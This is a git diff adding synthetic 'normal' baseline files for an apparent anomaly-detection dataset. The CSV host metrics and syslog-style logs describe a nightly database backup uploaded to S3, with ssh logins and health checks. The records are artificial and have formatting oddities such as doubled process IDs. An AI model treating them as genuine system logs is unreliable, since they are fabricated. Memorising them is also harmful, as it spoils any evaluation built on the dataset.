ssh2: RSA SHA256:... +Aug 14 02:01:23 sshd[1889]: Accepted publickey for user from 10.0.1.5 port 54322 ssh2: RSA SHA256:... +Aug 14 02:01:33 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 14 02:01:41 sshd[1889]: Accepted publickey for user from 10.0.1.5 port 54322 ssh2: RSA SHA256:... +Aug 14 02:01:50 web-app[4011]: GET /api/v1/health status=404 Not Found +Aug 14 02:02:11 sshd[1889]: Accepted publickey for user from 10.0.1.5 port 54322 ssh2: RSA SHA256:... +Aug 14 02:02:22 sshd[1889]: Accepted publickey for user from 10.0.1.5 port 54322 ssh2: RSA SHA256:... +Aug 14 02:02:37 web-app[4011]: GET /api/v1/health status=404 Not Found +Aug 14 02:03:02 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 14 02:03:09 kernel: [5041.259635] TCP:_time_wait_overflow: too many time-wait sockets +Aug 14 02:03:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 14 02:03:48 web-app[4011]: GET /api/v1/health status=200 OK +Aug 14 02:04:12 sshd[1889]: Accepted publickey for user from 10.0.1.5 port 54322 ssh2: RSA SHA256:... +Aug 14 02:04:35 backup-script[5678]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:04:36 kernel: [8651.299826] TCP:_time_wait_overflow: too many time-wait sockets +Aug 14 02:04:43 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 14 02:04:48 kernel: [7396.478545] TCP:_time_wait_overflow: too many time-wait sockets +Aug 14 02:04:59 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 14 02:05:07 kernel: [5784.656391] TCP:_time_wait_overflow: too many time-wait sockets +Aug 14 02:05:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 14 02:05:49 kernel: [7609.154636] TCP:_time_wait_overflow: too many time-wait sockets +Aug 14 02:06:06 web-app[4011]: GET /api/v1/health status=404 Not Found +Aug 14 02:06:20 web-app[4011]: GET /api/v1/health status=404 Not Found +Aug 14 02:06:28 sshd[1889]: Accepted publickey for user from 10.0.1.5 port 54322 ssh2: RSA SHA256:... +Aug 14 02:07:05 backup-script[5678]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:06 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 14 02:07:24 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_1/norm_1_16.csv b/norm_dataset/scenario_1/norm_1_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..759c5a553109520e6be99293a8b909e319537e83 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,12.88,44.05,7.89,0.69,1.37 +2025-08-14T02:00:05Z,7.27,38.36,7.5,0.98,1.09 +2025-08-14T02:00:10Z,5.55,37.39,14.86,0.85,1.4 +2025-08-14T02:00:15Z,8.22,35.65,12.69,1.05,1.1 +2025-08-14T02:00:20Z,9.45,39.98,9.53,0.79,0.85 +2025-08-14T02:00:25Z,10.67,41.62,5.57,1.34,0.9 +2025-08-14T02:00:30Z,12.32,42.41,12.76,0.75,0.71 +2025-08-14T02:00:35Z,13.03,39.91,11.23,1.1,1.07 +2025-08-14T02:00:40Z,10.48,39.58,12.4,1.0,1.28 +2025-08-14T02:00:45Z,14.88,39.87,8.56,1.32,1.35 +2025-08-14T02:00:50Z,11.72,37.81,92.33,1.01,1.38 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+2025-08-14T02:02:35Z,88.34,53.61,105.99,1.39,0.84 +2025-08-14T02:02:40Z,92.6,51.17,85.4,0.98,1.47 +2025-08-14T02:02:45Z,95.29,53.36,96.47,1.05,0.56 +2025-08-14T02:02:50Z,88.45,48.84,103.87,0.68,1.4 +2025-08-14T02:02:55Z,86.71,44.66,119.1,1.43,0.88 +2025-08-14T02:03:00Z,98.48,50.0,105.16,1.39,0.73 +2025-08-14T02:03:05Z,87.66,51.5,93.32,1.32,1.08 +2025-08-14T02:03:10Z,97.86,49.49,110.99,1.06,1.2 +2025-08-14T02:03:15Z,94.1,45.51,119.08,0.79,1.2 +2025-08-14T02:03:20Z,87.51,52.84,12.29,1.04,1.26 +2025-08-14T02:03:25Z,88.0,46.08,14.23,0.76,1.34 +2025-08-14T02:03:30Z,93.33,45.52,12.36,1.32,0.56 +2025-08-14T02:03:35Z,93.36,45.26,14.47,0.71,0.71 +2025-08-14T02:03:40Z,90.43,48.18,7.56,0.64,1.14 +2025-08-14T02:03:45Z,88.76,49.55,6.59,1.25,1.01 +2025-08-14T02:03:50Z,88.56,46.12,9.37,1.11,1.37 +2025-08-14T02:03:55Z,88.67,49.62,10.48,1.47,0.79 +2025-08-14T02:04:00Z,98.29,46.32,5.72,0.91,0.98 +2025-08-14T02:04:05Z,87.98,47.04,8.71,1.2,1.21 +2025-08-14T02:04:10Z,94.96,40.79,9.23,0.91,1.47 +2025-08-14T02:04:15Z,91.38,42.21,13.64,1.24,1.12 +2025-08-14T02:04:20Z,85.75,51.09,7.0,1.43,0.71 +2025-08-14T02:04:25Z,97.02,44.44,7.39,0.55,0.98 +2025-08-14T02:04:30Z,88.85,46.42,13.23,0.95,0.71 +2025-08-14T02:04:35Z,86.85,44.94,7.12,1.01,0.8 +2025-08-14T02:04:40Z,88.6,52.57,13.49,0.79,1.41 +2025-08-14T02:04:45Z,95.89,44.32,5.82,0.89,0.57 +2025-08-14T02:04:50Z,93.48,53.53,10.37,0.84,0.99 +2025-08-14T02:04:55Z,92.95,43.08,13.87,0.94,0.58 +2025-08-14T02:05:00Z,5.34,36.89,5.63,0.67,66.79 +2025-08-14T02:05:05Z,11.86,38.97,5.95,1.26,55.2 +2025-08-14T02:05:10Z,13.49,42.52,6.27,1.26,64.65 +2025-08-14T02:05:15Z,5.5,41.28,9.04,1.06,62.95 +2025-08-14T02:05:20Z,11.97,38.27,14.54,0.8,52.1 +2025-08-14T02:05:25Z,9.24,42.3,7.42,1.2,59.13 +2025-08-14T02:05:30Z,5.81,36.89,10.52,1.0,61.92 +2025-08-14T02:05:35Z,13.66,44.57,8.23,1.1,51.32 +2025-08-14T02:05:40Z,10.53,38.84,5.68,1.23,66.71 +2025-08-14T02:05:45Z,12.45,37.73,8.69,1.26,68.34 +2025-08-14T02:05:50Z,5.78,41.56,6.46,0.78,54.77 +2025-08-14T02:05:55Z,5.42,35.54,6.04,1.08,69.98 +2025-08-14T02:06:00Z,5.43,44.93,6.94,0.89,54.94 +2025-08-14T02:06:05Z,5.35,38.77,10.17,1.35,68.28 +2025-08-14T02:06:10Z,7.64,39.2,6.64,0.7,51.85 +2025-08-14T02:06:15Z,6.15,41.81,10.72,0.65,50.87 +2025-08-14T02:06:20Z,5.61,38.52,10.41,1.29,50.19 +2025-08-14T02:06:25Z,11.48,36.4,11.91,0.8,52.55 +2025-08-14T02:06:30Z,7.44,44.2,5.47,1.01,64.12 +2025-08-14T02:06:35Z,14.29,40.23,5.3,0.64,59.51 +2025-08-14T02:06:40Z,7.79,35.86,11.33,0.7,66.55 +2025-08-14T02:06:45Z,9.11,38.59,10.73,0.96,66.55 +2025-08-14T02:06:50Z,5.05,37.82,7.32,0.82,55.91 +2025-08-14T02:06:55Z,9.02,36.68,6.35,0.77,52.23 +2025-08-14T02:07:00Z,12.25,40.35,6.34,1.45,50.21 +2025-08-14T02:07:05Z,14.03,40.25,7.56,0.57,1.46 +2025-08-14T02:07:10Z,9.26,35.55,6.11,1.17,1.32 +2025-08-14T02:07:15Z,6.16,42.08,5.17,1.48,0.82 +2025-08-14T02:07:20Z,10.94,41.83,7.89,0.87,0.91 +2025-08-14T02:07:25Z,12.77,41.97,9.62,1.0,1.45 diff --git a/norm_dataset/scenario_1/norm_1_16.log b/norm_dataset/scenario_1/norm_1_16.log new file mode 100644 index 0000000000000000000000000000000000000000..0f487af40fa59498151a39e96b349ca457d54954 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_16.log @@ -0,0 +1,19 @@ +Aug 14 02:00:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:05 web-app[3456]: GET /health-check status=200 OK +Aug 14 02:00:10 web-app[3456]: GET /health-check status=200 OK +Aug 14 02:00:15 web-app[3456]: GET /health-check status=200 OK +Aug 14 02:00:20 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:25 web-app[3456]: GET /health-check status=200 OK +Aug 14 02:00:30 web-app[3456]: GET /health-check status=200 OK +Aug 14 02:00:35 web-app[3456]: GET /health-check status=200 OK +Aug 14 02:00:45 CRON[8821]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:00:50 backup-script[8823]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:15 sshd[9102]: Accepted publickey for user root from 10.0.1.5 port 22 +Aug 14 02:01:50 sshd[9102]: Accepted publickey for user root from 10.0.1.5 port 22 +Aug 14 02:02:25 sshd[9102]: Accepted publickey for user root from 10.0.1.5 port 22 +Aug 14 02:03:00 sshd[9102]: Accepted publickey for user root from 10.0.1.5 port 22 +Aug 14 02:03:35 sshd[9102]: Accepted publickey for user root from 10.0.1.5 port 22 +Aug 14 02:04:35 backup-script[8823]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:07:00 backup-script[8823]: INFO: Nightly backup job completed successfully. +Aug 14 02:07:00 backup-script[8823]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:20 systemd[1]: Finished daily clean up activities. diff --git a/norm_dataset/scenario_1/norm_1_17.csv b/norm_dataset/scenario_1/norm_1_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..ba43c2b8e07a1210ff3fef36f0559e731378bbe6 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,8.67,33.28,6.0,0.96,0.59 +2025-08-14T02:00:05Z,11.4,37.95,5.1,0.72,0.37 +2025-08-14T02:00:10Z,9.7,31.82,4.74,0.77,0.47 +2025-08-14T02:00:15Z,9.24,32.77,4.01,0.82,0.4 +2025-08-14T02:00:20Z,14.1,31.96,3.08,0.99,0.53 +2025-08-14T02:00:25Z,6.66,34.38,5.56,0.54,0.51 +2025-08-14T02:00:30Z,11.65,36.08,4.81,1.05,0.35 +2025-08-14T02:00:35Z,11.27,35.58,4.39,1.2,0.61 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+2025-08-14T02:07:20Z,10.59,33.48,3.86,1.25,0.39 +2025-08-14T02:07:25Z,12.31,36.7,5.03,1.08,0.53 diff --git a/norm_dataset/scenario_1/norm_1_17.log b/norm_dataset/scenario_1/norm_1_17.log new file mode 100644 index 0000000000000000000000000000000000000000..c9fe334660062a18f21bc1c9a4f257ac52684f00 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_17.log @@ -0,0 +1,21 @@ +Aug 14 02:00:02 systemd[1][3365]: Starting daily clean up activities... +Aug 14 02:00:25 systemd[1][3074]: Starting daily grace period for services... +Aug 14 02:00:50 CRON[4123][5371]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:01:00 run-parts[4125][9531]: Starting nightly-backup-task +Aug 14 02:01:05 backup-script[4128][3560]: INFO: Starting nightly full backup. +Aug 14 02:01:15 kubelet[2345][2818]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 14 02:01:20 backup-script[4128][6986]: INFO: Reading file system metadata... +Aug 14 02:02:05 systemd[1][1394]: Starting daily grace period for services... +Aug 14 02:02:15 backup-script[4128][9868]: INFO: Dumping production database 'main_db'... +Aug 14 02:03:20 kubelet[2345][3658]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 14 02:03:30 backup-script[4128][9436]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:03:45 systemd[1][5280]: Starting daily grace period for services... +Aug 14 02:04:30 backup-script[4128][4679]: INFO: Compressing backup archive... +Aug 14 02:04:35 backup-script[4128][3907]: INFO: Compression complete. Starting upload to s3://prod-backups/full-20250814.tar.gz +Aug 14 02:05:25 kubelet[2345][2972]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 14 02:05:25 systemd[1][9629]: Starting daily grace period for services... +Aug 14 02:06:15 kernel[5660]: [11345.123] TCP: ESTABLISHED_CHILD child=0x... orphan=0 +Aug 14 02:07:00 backup-script[4128][1062]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:05 backup-script[4128][7403]: INFO: Nightly backup finished successfully. +Aug 14 02:07:05 systemd[1][8307]: Starting daily grace period for services... +Aug 14 02:07:10 run-parts[4125][3009]: Finished nightly-backup-task diff --git a/norm_dataset/scenario_1/norm_1_18.csv b/norm_dataset/scenario_1/norm_1_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..924d7c161bbb28535931b862a4c1192bf37b7711 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,8.67,33.85,18.0,0.96,1.19 +2025-08-14T02:00:05Z,11.4,36.97,15.29,0.72,0.73 +2025-08-14T02:00:10Z,9.7,32.88,14.23,0.77,0.95 +2025-08-14T02:00:15Z,9.24,33.51,12.04,0.82,0.79 +2025-08-14T02:00:20Z,14.1,32.98,9.25,0.99,1.06 +2025-08-14T02:00:25Z,6.66,34.59,16.69,0.54,1.01 +2025-08-14T02:00:30Z,11.65,35.72,14.44,1.05,0.71 +2025-08-14T02:00:35Z,11.27,35.39,13.16,1.2,1.23 +2025-08-14T02:00:40Z,10.56,30.44,15.23,1.04,0.7 +2025-08-14T02:00:45Z,10.06,33.15,10.81,1.17,1.06 +2025-08-14T02:00:50Z,12.34,34.64,15.76,0.78,1.39 +2025-08-14T02:00:55Z,11.63,36.22,11.41,0.66,1.02 +2025-08-14T02:01:00Z,11.96,32.38,20.68,1.07,0.92 +2025-08-14T02:01:05Z,9.67,33.45,16.23,0.73,0.94 +2025-08-14T02:01:10Z,12.17,36.42,18.14,1.1,1.06 +2025-08-14T02:01:15Z,14.2,31.53,37.71,1.08,1.2 +2025-08-14T02:01:20Z,16.07,33.71,35.52,0.89,0.91 +2025-08-14T02:01:25Z,25.11,33.33,27.11,0.69,0.9 +2025-08-14T02:01:30Z,20.38,34.19,39.95,0.73,1.38 +2025-08-14T02:01:35Z,25.98,35.89,40.87,0.97,1.37 +2025-08-14T02:01:40Z,34.36,32.45,48.26,0.95,0.74 +2025-08-14T02:01:45Z,29.0,33.0,81.04,1.13,0.85 +2025-08-14T02:01:50Z,27.1,34.16,79.1,0.88,0.84 +2025-08-14T02:01:55Z,27.86,36.15,82.39,0.91,0.84 +2025-08-14T02:02:00Z,36.02,34.18,94.61,1.01,0.97 +2025-08-14T02:02:05Z,32.75,32.53,80.69,1.12,1.04 +2025-08-14T02:02:10Z,33.11,36.37,98.19,1.09,0.84 +2025-08-14T02:02:15Z,39.72,37.69,89.09,1.16,1.37 +2025-08-14T02:02:20Z,29.59,37.37,88.36,1.24,0.89 +2025-08-14T02:02:25Z,34.13,33.21,83.54,0.81,0.93 +2025-08-14T02:02:30Z,25.5,32.08,78.18,0.8,1.16 +2025-08-14T02:02:35Z,29.52,33.51,63.16,0.91,0.82 +2025-08-14T02:02:40Z,23.42,34.1,53.74,0.59,1.24 +2025-08-14T02:02:45Z,24.19,35.32,47.97,1.09,1.49 +2025-08-14T02:02:50Z,17.08,38.52,37.94,0.95,1.11 +2025-08-14T02:02:55Z,18.9,33.45,22.91,1.16,0.93 +2025-08-14T02:03:00Z,18.67,33.15,33.93,1.09,1.3 +2025-08-14T02:03:05Z,7.88,34.24,19.48,0.71,1.15 +2025-08-14T02:03:10Z,9.93,35.09,16.88,1.21,1.06 +2025-08-14T02:03:15Z,15.07,36.66,23.57,1.22,0.83 +2025-08-14T02:03:20Z,25.68,34.53,30.23,1.12,0.95 +2025-08-14T02:03:25Z,35.06,33.61,28.11,1.09,1.38 +2025-08-14T02:03:30Z,46.61,33.4,39.81,1.03,1.14 +2025-08-14T02:03:35Z,58.6,33.95,47.22,1.45,0.54 +2025-08-14T02:03:40Z,64.75,38.62,54.84,0.92,1.28 +2025-08-14T02:03:45Z,88.13,40.13,56.31,1.15,1.11 +2025-08-14T02:03:50Z,90.04,35.22,63.5,1.38,0.95 +2025-08-14T02:03:55Z,95.67,34.52,65.89,0.97,0.9 +2025-08-14T02:04:00Z,90.91,37.31,75.98,1.01,1.05 +2025-08-14T02:04:05Z,84.77,37.15,61.09,1.06,1.63 +2025-08-14T02:04:10Z,67.86,33.01,46.75,0.98,0.68 +2025-08-14T02:04:15Z,56.23,33.32,45.24,0.71,1.31 +2025-08-14T02:04:20Z,45.32,33.65,27.75,0.87,0.63 +2025-08-14T02:04:25Z,35.26,34.86,27.42,0.8,1.12 +2025-08-14T02:04:30Z,11.15,36.16,29.08,0.83,0.9 +2025-08-14T02:04:35Z,20.88,37.59,26.48,1.0,1.14 +2025-08-14T02:04:40Z,8.66,33.43,16.18,1.11,1.17 +2025-08-14T02:04:45Z,20.99,37.61,13.3,0.62,17.57 +2025-08-14T02:04:50Z,15.39,34.81,16.21,1.14,16.57 +2025-08-14T02:04:55Z,19.25,34.73,15.29,1.05,23.43 +2025-08-14T02:05:00Z,19.77,31.98,20.08,1.28,38.17 +2025-08-14T02:05:05Z,24.6,34.19,12.79,0.92,37.79 +2025-08-14T02:05:10Z,20.66,32.65,19.58,0.96,45.66 +2025-08-14T02:05:15Z,22.23,36.57,13.31,0.78,55.54 +2025-08-14T02:05:20Z,24.66,33.24,16.21,0.93,47.63 +2025-08-14T02:05:25Z,22.09,33.57,5.94,0.83,39.21 +2025-08-14T02:05:30Z,20.17,36.57,12.6,0.79,31.96 +2025-08-14T02:05:35Z,11.33,37.65,10.4,1.32,24.14 +2025-08-14T02:05:40Z,16.89,34.08,12.82,1.1,9.13 +2025-08-14T02:05:45Z,17.4,36.53,9.13,1.0,0.29 +2025-08-14T02:05:50Z,8.05,35.74,16.57,1.19,1.16 +2025-08-14T02:05:55Z,9.63,33.01,13.03,1.25,0.92 +2025-08-14T02:06:00Z,12.78,33.41,16.03,1.12,0.84 +2025-08-14T02:06:05Z,10.94,34.24,19.66,1.0,1.01 +2025-08-14T02:06:10Z,9.45,34.32,18.21,0.89,0.81 +2025-08-14T02:06:15Z,11.36,33.16,11.77,1.19,1.14 +2025-08-14T02:06:20Z,14.25,35.7,22.64,1.11,1.1 +2025-08-14T02:06:25Z,9.95,35.38,15.28,0.98,0.97 +2025-08-14T02:06:30Z,9.88,33.64,17.69,0.93,1.13 +2025-08-14T02:06:35Z,13.41,34.03,17.39,0.62,1.07 +2025-08-14T02:06:40Z,8.17,38.29,16.78,0.96,1.13 +2025-08-14T02:06:45Z,4.03,30.69,10.16,1.19,1.36 +2025-08-14T02:06:50Z,9.45,34.61,18.27,0.65,0.92 +2025-08-14T02:06:55Z,6.43,33.72,14.0,0.92,0.86 +2025-08-14T02:07:00Z,8.0,37.13,13.69,0.99,0.87 +2025-08-14T02:07:05Z,10.18,34.55,13.88,1.01,0.51 +2025-08-14T02:07:10Z,11.57,33.74,12.96,1.2,0.99 +2025-08-14T02:07:15Z,11.19,33.56,17.97,0.9,1.15 +2025-08-14T02:07:20Z,10.59,33.99,11.58,1.25,0.77 +2025-08-14T02:07:25Z,12.31,36.13,15.1,1.08,1.05 diff --git a/norm_dataset/scenario_1/norm_1_18.log b/norm_dataset/scenario_1/norm_1_18.log new file mode 100644 index 0000000000000000000000000000000000000000..b98644c35e27966e6621f27c9d55c909c545216d --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_18.log @@ -0,0 +1,13 @@ +Aug 14 02:00:05 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:20 web-app[3456]: GET /api/v1/health status=200 OK +Aug 14 02:01:00 CRON[4531]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 14 02:01:15 cron[1234]: (root) CMD (run-parts /etc/cron.daily/backup-script) +Aug 14 02:01:16 backup-script[5678]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:45 backup-script[5678]: INFO: Starting database dump for 'production_db'. +Aug 14 02:03:15 backup-script[5678]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:03:17 backup-script[5678]: INFO: Starting compression of archive. +Aug 14 02:04:45 backup-script[5678]: INFO: Compression complete. Starting upload to s3://prod-backups/full-20250814.tar.gz. +Aug 14 02:05:55 backup-script[5678]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:05:56 backup-script[5678]: INFO: Nightly backup task completed successfully. +Aug 14 02:06:40 web-app[3456]: GET /api/v1/health status=200 OK +Aug 14 02:07:00 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_1/norm_1_19.csv b/norm_dataset/scenario_1/norm_1_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..9d8b8d9b982ace9838a77e7775dec3beee3be27e --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,12.6,40.4,5.29,1.03,0.64 +2025-08-14T02:00:05Z,13.46,36.76,11.95,0.74,1.3 +2025-08-14T02:00:10Z,14.38,36.54,14.08,0.77,0.7 +2025-08-14T02:00:15Z,16.07,36.37,11.59,0.88,0.66 +2025-08-14T02:00:20Z,10.71,35.97,9.49,0.52,0.66 +2025-08-14T02:00:25Z,13.91,39.58,15.6,0.82,1.31 +2025-08-14T02:00:30Z,5.05,37.46,5.68,0.71,1.17 +2025-08-14T02:00:35Z,15.97,39.13,12.42,0.83,1.02 +2025-08-14T02:00:40Z,13.18,38.79,2.39,0.62,0.86 +2025-08-14T02:00:45Z,12.94,38.71,9.3,1.39,1.38 +2025-08-14T02:00:50Z,10.29,34.27,9.43,1.09,0.89 +2025-08-14T02:00:55Z,10.87,36.5,13.97,1.18,1.32 +2025-08-14T02:01:00Z,13.72,35.85,7.61,1.29,0.94 +2025-08-14T02:01:05Z,11.78,35.57,7.42,1.0,0.88 +2025-08-14T02:01:10Z,13.86,41.63,4.29,0.59,0.96 +2025-08-14T02:01:15Z,9.88,37.37,12.33,1.04,0.8 +2025-08-14T02:01:20Z,9.9,38.2,11.42,1.09,1.25 +2025-08-14T02:01:25Z,11.62,39.07,7.04,1.25,1.0 +2025-08-14T02:01:30Z,13.99,41.1,7.26,0.93,0.73 +2025-08-14T02:01:35Z,12.11,38.55,9.76,0.63,1.4 +2025-08-14T02:01:40Z,12.0,36.37,261.79,0.78,0.88 +2025-08-14T02:01:45Z,11.72,36.98,255.67,0.86,1.04 +2025-08-14T02:01:50Z,11.65,37.24,218.2,1.15,1.41 +2025-08-14T02:01:55Z,13.77,37.9,237.84,1.07,1.12 +2025-08-14T02:02:00Z,10.88,36.85,289.24,0.86,0.62 +2025-08-14T02:02:05Z,13.27,35.9,215.56,1.49,1.44 +2025-08-14T02:02:10Z,10.21,37.3,244.45,1.11,1.13 +2025-08-14T02:02:15Z,9.64,35.83,248.66,0.74,0.83 +2025-08-14T02:02:20Z,13.55,36.46,270.99,0.6,0.64 +2025-08-14T02:02:25Z,10.75,38.75,309.97,0.65,1.29 +2025-08-14T02:02:30Z,13.05,39.32,249.0,0.75,1.12 +2025-08-14T02:02:35Z,23.71,35.6,249.17,0.66,1.03 +2025-08-14T02:02:40Z,32.5,36.71,283.8,0.69,1.39 +2025-08-14T02:02:45Z,51.88,38.21,253.79,0.79,1.29 +2025-08-14T02:02:50Z,61.26,36.7,233.3,0.67,0.65 +2025-08-14T02:02:55Z,77.02,39.96,257.2,1.4,0.81 +2025-08-14T02:03:00Z,83.3,41.26,225.44,0.58,0.75 +2025-08-14T02:03:05Z,90.28,37.83,228.18,1.02,1.24 +2025-08-14T02:03:10Z,89.24,37.64,253.58,0.91,0.53 +2025-08-14T02:03:15Z,84.46,36.94,247.74,1.48,1.07 +2025-08-14T02:03:20Z,81.49,38.27,296.06,0.61,1.26 +2025-08-14T02:03:25Z,87.05,37.05,247.36,0.9,1.38 +2025-08-14T02:03:30Z,81.98,36.05,266.63,1.47,0.84 +2025-08-14T02:03:35Z,85.15,37.18,269.56,1.37,1.32 +2025-08-14T02:03:40Z,89.17,39.75,210.74,1.32,0.61 +2025-08-14T02:03:45Z,80.35,38.09,275.09,0.76,1.35 +2025-08-14T02:03:50Z,61.34,37.96,226.86,0.67,0.63 +2025-08-14T02:03:55Z,50.41,36.15,306.83,1.17,0.9 +2025-08-14T02:04:00Z,37.33,39.66,230.26,1.43,1.3 +2025-08-14T02:04:05Z,21.19,38.71,250.15,1.06,0.65 +2025-08-14T02:04:10Z,17.13,37.83,3.72,1.07,0.73 +2025-08-14T02:04:15Z,15.38,35.64,13.51,0.78,56.68 +2025-08-14T02:04:20Z,16.28,39.24,4.63,1.27,77.07 +2025-08-14T02:04:25Z,12.66,39.29,15.97,0.69,79.52 +2025-08-14T02:04:30Z,15.8,38.77,5.85,0.82,62.39 +2025-08-14T02:04:35Z,11.81,37.89,12.82,0.93,59.17 +2025-08-14T02:04:40Z,11.62,36.59,4.4,1.01,70.07 +2025-08-14T02:04:45Z,15.36,35.97,11.79,0.74,63.11 +2025-08-14T02:04:50Z,8.25,38.46,10.15,0.61,51.44 +2025-08-14T02:04:55Z,10.49,39.9,16.84,1.11,56.09 +2025-08-14T02:05:00Z,12.14,39.69,3.77,0.79,72.56 +2025-08-14T02:05:05Z,10.35,38.87,11.55,1.08,70.67 +2025-08-14T02:05:10Z,11.04,38.46,13.63,0.65,51.77 +2025-08-14T02:05:15Z,11.92,37.81,8.65,0.98,58.11 +2025-08-14T02:05:20Z,9.28,39.8,11.08,1.03,57.59 +2025-08-14T02:05:25Z,13.66,38.88,9.89,0.55,71.24 +2025-08-14T02:05:30Z,8.87,37.68,8.44,0.84,51.6 +2025-08-14T02:05:35Z,17.11,38.42,8.88,0.63,54.23 +2025-08-14T02:05:40Z,8.81,40.2,14.77,0.56,74.52 +2025-08-14T02:05:45Z,14.29,37.3,14.08,1.49,56.73 +2025-08-14T02:05:50Z,15.49,36.86,4.06,0.82,71.01 +2025-08-14T02:05:55Z,8.53,35.59,8.24,1.31,58.21 +2025-08-14T02:06:00Z,10.48,39.17,14.28,0.75,54.18 +2025-08-14T02:06:05Z,16.69,34.59,13.46,1.18,58.72 +2025-08-14T02:06:10Z,10.32,37.88,10.78,1.26,72.88 +2025-08-14T02:06:15Z,14.01,37.51,12.72,1.1,76.32 +2025-08-14T02:06:20Z,14.38,36.22,6.71,0.97,75.98 +2025-08-14T02:06:25Z,11.93,39.05,5.73,0.91,63.02 +2025-08-14T02:06:30Z,9.32,35.98,9.09,0.85,70.97 +2025-08-14T02:06:35Z,7.94,36.0,3.93,1.43,57.39 +2025-08-14T02:06:40Z,15.36,40.42,7.81,1.33,60.23 +2025-08-14T02:06:45Z,13.71,36.82,8.51,1.47,78.32 +2025-08-14T02:06:50Z,12.16,36.32,18.03,0.62,51.34 +2025-08-14T02:06:55Z,11.01,37.3,14.36,1.23,53.18 +2025-08-14T02:07:00Z,10.19,39.17,13.13,1.44,1.48 +2025-08-14T02:07:05Z,12.09,35.95,10.98,0.68,1.34 +2025-08-14T02:07:10Z,14.23,38.21,14.25,0.57,0.62 +2025-08-14T02:07:15Z,11.76,36.02,15.38,1.24,1.42 +2025-08-14T02:07:20Z,18.17,34.44,11.59,1.07,1.37 +2025-08-14T02:07:25Z,13.31,39.75,4.72,1.34,1.02 diff --git a/norm_dataset/scenario_1/norm_1_19.log b/norm_dataset/scenario_1/norm_1_19.log new file mode 100644 index 0000000000000000000000000000000000000000..d061ea4437c5b03cf853a9dd3686dd80cb9a2112 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_19.log @@ -0,0 +1,18 @@ +Aug 14 02:01:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:01:30 CRON[3102]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:01:30 systemd[1]: Starting Daily Backup Job... +Aug 14 02:01:40 backup.sh[3105]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:45 backup.sh[3105]: INFO: Starting database dump... +Aug 14 02:02:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:02:15 sshd[4567]: Accepted publickey for user from 192.168.1.10 port 2222 +Aug 14 02:03:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:04:10 backup.sh[3105]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:04:15 backup.sh[3105]: INFO: Starting upload to s3://prod-backups/full-20250814.tar.gz... +Aug 14 02:04:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:04:30 sshd[4567]: Accepted publickey for user from 192.168.1.10 port 2222 +Aug 14 02:05:25 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:06:30 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:06:45 sshd[4567]: Accepted publickey for user from 192.168.1.10 port 2222 +Aug 14 02:07:00 backup.sh[3105]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:05 backup.sh[3105]: INFO: Nightly backup completed successfully. +Aug 14 02:07:05 systemd[1]: daily-backup.service: Succeeded. diff --git a/norm_dataset/scenario_1/norm_1_2.csv b/norm_dataset/scenario_1/norm_1_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..07c201b875633d8644734af4b69bc6b607d46c36 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_2.csv @@ -0,0 +1,91 @@ 